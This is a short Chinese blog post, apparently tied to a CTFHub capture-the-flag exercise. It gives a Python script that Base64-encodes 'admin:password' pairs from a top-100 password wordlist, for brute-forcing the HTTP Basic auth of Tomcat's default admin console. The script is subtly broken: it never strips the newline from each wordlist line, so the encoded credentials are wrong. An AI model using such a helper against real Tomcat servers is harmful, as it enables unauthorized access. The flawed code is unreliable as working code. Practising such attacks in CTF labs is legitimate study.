py脚本base64编码-认证破解

py脚本base64编码,用于破解tomcat默认后台

文件读取,写入,base64编码,加前缀

 1 #!/usr/bin/env python3
 2 import base64
 3 
 4 # 字典文件路径
 5 dic_file_path = '/Users/wujing/Downloads/10_million_password_list_top_100.txt'
 6 with open(dic_file_path, 'r') as f:
 7     password_dic = f.readlines()
 8 
 9 username = "admin" # 用户名
10 for password in password_dic:
11     auth = str(username + ":" + password).encode("utf-8")
12     encodestr = base64.b64encode(auth).decode()
13     print(encodestr)

参考:

https://writeup.ctfhub.com/Skill/Web/%E5%89%8D%E7%BD%AE%E6%8A%80%E8%83%BD/HTTP/c24bba25.html

posted @ 2020-09-20 20:45  包子TT  阅读(233)  评论(0编辑  收藏  举报